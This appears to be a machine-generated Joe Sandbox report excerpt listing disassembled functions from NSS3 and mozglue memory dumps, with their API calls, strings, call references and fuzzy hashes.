Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: sqlite3_free$CriticalSection$EnterLeavesqlite3_execsqlite3_initializesqlite3_mprintf
String ID:
API String ID: 1957633107-0
Opcode ID: 673c359af79e3e8f53305ed2f50e7e9bd95036e2f9cdcaf9a4f964737dd3df62
Instruction ID: 0b31eb4e5af324f8e5952e034359ecf6e5f5e22137d81be5108e4768e9bcbdfc
Opcode Fuzzy Hash: 673c359af79e3e8f53305ed2f50e7e9bd95036e2f9cdcaf9a4f964737dd3df62
Instruction Fuzzy Hash: D3618EB5F002158BEB00CF69D994B9EB7B5FF59348F144028EC55A7B01E732E849CBA1

Function 6CB52C40 Relevance: 18.2, APIs: 12, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6CB53F23,?,6CB4E477,?,?,?,00000001,00000000,?,?,6CB53F23,?), ref: 6CB52C62
EnterCriticalSection.KERNEL32(0000001C,?,6CB4E477,?,?,?,00000001,00000000,?,?,6CB53F23,?), ref: 6CB52C76
PL_HashTableLookup.NSS3(00000000,?,?,6CB4E477,?,?,?,00000001,00000000,?,?,6CB53F23,?), ref: 6CB52C86
PR_Unlock.NSS3(00000000,?,?,?,?,6CB4E477,?,?,?,00000001,00000000,?,?,6CB53F23,?), ref: 6CB52C93

Part of subcall function 6CBDDD70: TlsGetValue.KERNEL32 ref: 6CBDDD8C
Part of subcall function 6CBDDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CBDDDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6CB4E477,?,?,?,00000001,00000000,?,?,6CB53F23,?), ref: 6CB52CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6CB4E477,?,?,?,00000001,00000000,?,?,6CB53F23,?), ref: 6CB52CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6CB4E477,?,?,?,00000001,00000000,?,?,6CB53F23), ref: 6CB52CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6CB4E477,?,?,?,00000001,00000000,?), ref: 6CB52CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6CB4E477,?,?,?,00000001,00000000,?), ref: 6CB52D4D
EnterCriticalSection.KERNEL32(?), ref: 6CB52D61
PL_HashTableLookup.NSS3(?,?), ref: 6CB52D71
PR_Unlock.NSS3(?), ref: 6CB52D7E

Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207AD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207CD
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CAB204A), ref: 6CB207D6
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CAB204A), ref: 6CB207E4
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,6CAB204A), ref: 6CB20864
Part of subcall function 6CB207A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CB20880
Part of subcall function 6CB207A0: TlsSetValue.KERNEL32(00000000,?,?,6CAB204A), ref: 6CB208CB
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208D7
Part of subcall function 6CB207A0: TlsGetValue.KERNEL32(?,?,6CAB204A), ref: 6CB208FB

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID:
API String ID: 2446853827-0
Opcode ID: f1b44bbb054c157510c21de4e6a7f2556f0001154de123acc87caaa717d7dc4b
Instruction ID: 33a7df0bb3c56d9984f4cab2409d125410efd4495a31047533283a21c71b6c08
Opcode Fuzzy Hash: f1b44bbb054c157510c21de4e6a7f2556f0001154de123acc87caaa717d7dc4b
Instruction Fuzzy Hash: 95510676D01544ABEB009F24DC458AA7778FF1925CF448520EC1997B12E731ED68CBE2

Function 6CAB4C70 Relevance: 18.1, APIs: 12, Instructions: 116threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4C97
EnterCriticalSection.KERNEL32(?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4CB0
PR_Unlock.NSS3(?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4CC9
TlsGetValue.KERNEL32(?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4D11
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4D2A
PR_NotifyAllCondVar.NSS3(?,?,?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4D4A
PR_Unlock.NSS3(?,?,?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4D57
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4D97
PR_Lock.NSS3(?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4DBA
PR_WaitCondVar.NSS3 ref: 6CAB4DD4
PR_Unlock.NSS3(?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4DE6
PR_GetCurrentThread.NSS3(?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4DEF

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Unlock$CondCriticalCurrentEnterSectionThreadValue$LockNotifyWait
String ID:
API String ID: 3388019835-0
Opcode ID: eb78fec530fe86d05d44d8f56f20e9966de4a79e25e48c8d1d4e54974b1f6fd4
Instruction ID: 23d696baa677b1ee7180a054d5e269cc3ff357aa3d695ecdaa3c38da7c6ee512
Opcode Fuzzy Hash: eb78fec530fe86d05d44d8f56f20e9966de4a79e25e48c8d1d4e54974b1f6fd4
Instruction Fuzzy Hash: B441ACB5A14A51CFCB00AF7CD485569BBF8FF06318F058629D898ABB01E730E8D4CB81

Function 6CB7ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6CB7DE64), ref: 6CB7ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB7ED22

Part of subcall function 6CB8B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CC618D0,?), ref: 6CB8B095

PL_FreeArenaPool.NSS3(?), ref: 6CB7ED4A
PL_FinishArenaPool.NSS3(?), ref: 6CB7ED6B
PR_CallOnce.NSS3(6CC92AA4,6CB912D0), ref: 6CB7ED38

Part of subcall function 6CAB4C70: TlsGetValue.KERNEL32(?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4C97
Part of subcall function 6CAB4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4CB0
Part of subcall function 6CAB4C70: PR_Unlock.NSS3(?,?,?,?,?,6CAB3921,6CC914E4,6CBFCC70), ref: 6CAB4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6CB7ED52
PR_CallOnce.NSS3(6CC92AA4,6CB912D0), ref: 6CB7ED83
PL_FreeArenaPool.NSS3(?), ref: 6CB7ED95
PL_FinishArenaPool.NSS3(?), ref: 6CB7ED9D

Part of subcall function 6CB964F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CB9127C,00000000,00000000,00000000), ref: 6CB9650E

Strings

security, xrefs: 6CB7ED06

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: b2f3276ebaa1cc0fbb4036b875fca75072d578c743b39e52d996ab99a600281b
Instruction ID: 2eaf5e7ae44d5c39ba0ca71594e648651fb8b485c75802ef4eb5f8a9ba9f3885
Opcode Fuzzy Hash: b2f3276ebaa1cc0fbb4036b875fca75072d578c743b39e52d996ab99a600281b
Instruction Fuzzy Hash: A11132369002A46AE6605A76AD80BFFB278AF0274CF040835EC6562F51FB24A50C87F7

Function 6CC40EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6CB22357), ref: 6CC40EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6CB22357), ref: 6CC40EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC40EE6

Part of subcall function 6CC409D0: PR_Now.NSS3 ref: 6CC40A22
Part of subcall function 6CC409D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CC40A35
Part of subcall function 6CC409D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CC40A66
Part of subcall function 6CC409D0: PR_GetCurrentThread.NSS3 ref: 6CC40A70
Part of subcall function 6CC409D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CC40A9D
Part of subcall function 6CC409D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CC40AC8
Part of subcall function 6CC409D0: PR_vsmprintf.NSS3(?,?), ref: 6CC40AE8
Part of subcall function 6CC409D0: EnterCriticalSection.KERNEL32(?), ref: 6CC40B19
Part of subcall function 6CC409D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CC40B48
Part of subcall function 6CC409D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CC40C76
Part of subcall function 6CC409D0: PR_LogFlush.NSS3 ref: 6CC40C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC40EFA

Part of subcall function 6CB2AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB2AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC40F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC40F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC40F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC40F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CC40ED9, 6CC40EE5, 6CC40F06, 6CC40F0B
Aborting, xrefs: 6CC40EB3

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: aff8ed36b9af64d8f62becd76de366f3671ec4f0d7db7f03b9ab9e2bbdec83c6
Instruction ID: 3a17f150426adf0c7b86fafa8364cf90f87b6a1e1230939777b6880b21ae12ac
Opcode Fuzzy Hash: aff8ed36b9af64d8f62becd76de366f3671ec4f0d7db7f03b9ab9e2bbdec83c6
Instruction Fuzzy Hash: 2CF0C2B59001147BDF003B60DC8AC9B3E3DDF83674F008024FD0956B02EA36E91496B2

Function 6CBA4DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6CBA4DCB

Part of subcall function 6CB90FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB387ED,00000800,6CB2EF74,00000000), ref: 6CB91000
Part of subcall function 6CB90FF0: PR_NewLock.NSS3(?,00000800,6CB2EF74,00000000), ref: 6CB91016
Part of subcall function 6CB90FF0: PL_InitArenaPool.NSS3(00000000,security,6CB387ED,00000008,?,00000800,6CB2EF74,00000000), ref: 6CB9102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6CBA4DE1

Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB910F3
Part of subcall function 6CB910C0: EnterCriticalSection.KERNEL32(?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9110C
Part of subcall function 6CB910C0: PL_ArenaAllocate.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91141
Part of subcall function 6CB910C0: PR_Unlock.NSS3(?,?,?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB91182
Part of subcall function 6CB910C0: TlsGetValue.KERNEL32(?,6CB38802,00000000,00000008,?,6CB2EF74,00000000), ref: 6CB9119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6CBA4DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CBA4E59

Part of subcall function 6CB8FAB0: free.MOZGLUE(?,-00000001,?,?,6CB2F673,00000000,00000000), ref: 6CB8FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6CC6300C,00000000), ref: 6CBA4EB8
SECOID_FindOID_Util.NSS3(?), ref: 6CBA4EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6CBA4F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CBA521A

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: fe61fbc7c57717fb0757f1c210217b481821bfeba65bd30af2047495b7fc85e3
Instruction ID: 139d0b83186a8ed775b8abe0a44c1af10d5f456552fe671b9edf81dc6ee74406
Opcode Fuzzy Hash: fe61fbc7c57717fb0757f1c210217b481821bfeba65bd30af2047495b7fc85e3
Instruction Fuzzy Hash: 34F1CF71E08249CBDB08CF95D8407ADB7B2FF48318F254129D955AB780EB35E986CF91

Function 6CA14480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CA54843,?), ref: 6CA145F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CA54843,?), ref: 6CA1468A
free.MOZGLUE(?,?,?,?,?,?,6CA54843,?), ref: 6CA146C9
free.MOZGLUE(?), ref: 6CA146EF
free.MOZGLUE(?), ref: 6CA14712
free.MOZGLUE(?), ref: 6CA14735
free.MOZGLUE(?), ref: 6CA14758
free.MOZGLUE(?), ref: 6CA1477B
free.MOZGLUE(?), ref: 6CA1479E

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 419a171a55b44e2a6eccfc6ca108b3a725c7ca6209bb7e89acc76f5cbc75f52d
Instruction ID: 6d14ec19d578d8f228f0b249707fbfea7350535f83fceacbe6a7643e0f22914d
Opcode Fuzzy Hash: 419a171a55b44e2a6eccfc6ca108b3a725c7ca6209bb7e89acc76f5cbc75f52d
Instruction Fuzzy Hash: B2B1F371A081118FDB18DE3CD9A47AD76B2AF4232CF184669E426DFFC6D73098C48B91

Function 6CBA0C60 Relevance: 16.7, APIs: 11, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CBA2C2A), ref: 6CBA0C81

Part of subcall function 6CB8BE30: SECOID_FindOID_Util.NSS3(6CB4311B,00000000,?,6CB4311B,?), ref: 6CB8BE44

Part of subcall function 6CB78500: SECOID_GetAlgorithmTag_Util.NSS3(6CB795DC,00000000,00000000,00000000,?,6CB795DC,00000000,00000000,?,6CB57F4A,00000000,?,00000000,00000000), ref: 6CB78517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBA0CC4

Part of subcall function 6CB8FAB0: free.MOZGLUE(?,-00000001,?,?,6CB2F673,00000000,00000000), ref: 6CB8FAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CBA0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6CBA0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6CBA0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6CBA0D7D
free.MOZGLUE(00000000), ref: 6CBA0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBA0DC1
free.MOZGLUE(00000000), ref: 6CBA0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CBA0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6CBA0E0F

Part of subcall function 6CB795C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6CB57F4A,00000000,?,00000000,00000000), ref: 6CB795E0
Part of subcall function 6CB795C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6CB57F4A,00000000,?,00000000,00000000), ref: 6CB795F5
Part of subcall function 6CB795C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6CB79609
Part of subcall function 6CB795C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CB7961D
Part of subcall function 6CB795C0: PK11_GetInternalSlot.NSS3 ref: 6CB7970B
Part of subcall function 6CB795C0: PK11_FreeSymKey.NSS3(00000000), ref: 6CB79756
Part of subcall function 6CB795C0: PK11_GetIVLength.NSS3(?), ref: 6CB79767
Part of subcall function 6CB795C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6CB7977E
Part of subcall function 6CB795C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CB7978E

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID:
API String ID: 3136566230-0
Opcode ID: 661f8dc3d6c41e280fab8996652a406e833f2cecbe0ea72bfb45ce2f6740da46
Instruction ID: 1db2cc1afd128dd210e046e41adf5ca66d1b892e97109db985972c52e8a5dd0a
Opcode Fuzzy Hash: 661f8dc3d6c41e280fab8996652a406e833f2cecbe0ea72bfb45ce2f6740da46
Instruction Fuzzy Hash: 0741F5B2901295ABEB009FA4EC81BAF7674EF0530CF100024ED5667741F735AA19CBE2

Function 6CB34FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6CC80148,?,6CB46FEC), ref: 6CB3502A
PR_NewLock.NSS3(00000001,00000000,6CC80148,?,6CB46FEC), ref: 6CB35034
PL_NewHashTable.NSS3(00000000,6CB8FE80,6CB8FD30,6CBDC350,00000000,00000000,00000001,00000000,6CC80148,?,6CB46FEC), ref: 6CB35055
PL_NewHashTable.NSS3(00000000,6CB8FE80,6CB8FD30,6CBDC350,00000000,00000000,?,00000001,00000000,6CC80148,?,6CB46FEC), ref: 6CB3506D

Memory Dump Source

Source File: 00000000.00000002.2633876932.000000006CAB1000.00000020.00000001.01000000.00000012.sdmp, Offset: 6CAB0000, based on PE: true

Associated: 00000000.00000002.2633841519.000000006CAB0000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634102676.000000006CC4F000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634180506.000000006CC8E000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634235404.000000006CC8F000.00000008.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634313663.000000006CC90000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000000.00000002.2634354130.000000006CC95000.00000002.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cab0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: 0e31decf288014cf5920ce5d9b7094919e43a515007a9436026417da341a0133
Instruction ID: 997ed20a4ba8c1c2281a1966e2f95ddac4a33e1e983a3c01e6f52ece8e587785
Opcode Fuzzy Hash: 0e31decf288014cf5920ce5d9b7094919e43a515007a9436026417da341a0133
Instruction Fuzzy Hash: 1C3116B1B826A0DBEB108E25C85CB5B7B7CDB13748F011115EA49C7600E339D85CDBE6

Function 6CA7AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CA7AC52
CreateFileMappingW.KERNEL32 ref: 6CA7AC7D
GetSystemInfo.KERNEL32 ref: 6CA7AC98
MapViewOfFile.KERNEL32 ref: 6CA7ACB0
GetSystemInfo.KERNEL32 ref: 6CA7ACCD
MapViewOfFile.KERNEL32 ref: 6CA7AD05
UnmapViewOfFile.KERNEL32 ref: 6CA7AD1C
CloseHandle.KERNEL32 ref: 6CA7AD28
UnmapViewOfFile.KERNEL32 ref: 6CA7AD37
CloseHandle.KERNEL32 ref: 6CA7AD43
CloseHandle.KERNEL32 ref: 6CA7AD67

Memory Dump Source

Source File: 00000000.00000002.2633633554.000000006CA11000.00000020.00000001.01000000.00000013.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2633594317.000000006CA10000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633715337.000000006CA8D000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633761887.000000006CA9E000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2633799391.000000006CAA2000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: c4f736b896d3eb1e031f3067ed337b3a1cf5984b74e592933e0ae9e7b6c21559
Instruction ID: 6a99c955053425a6853020ac4ec2509ec34dd4a745bc1300b2562c7b0054aeda
Opcode Fuzzy Hash: c4f736b896d3eb1e031f3067ed337b3a1cf5984b74e592933e0ae9e7b6c21559
Instruction Fuzzy Hash: F73182B1904705CFDB14EF78D64926EBBF5BF85305F018A2DE88587211EF709889CB92

Function 6CAD2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAD2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6CAD2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6CAD3005
memcpy.VCRUNTIME140(?,?,?), ref: 6CAD30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CAD3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CAD3178

Strings

%s at line %d of [%.10s], xrefs: 6CAD3171
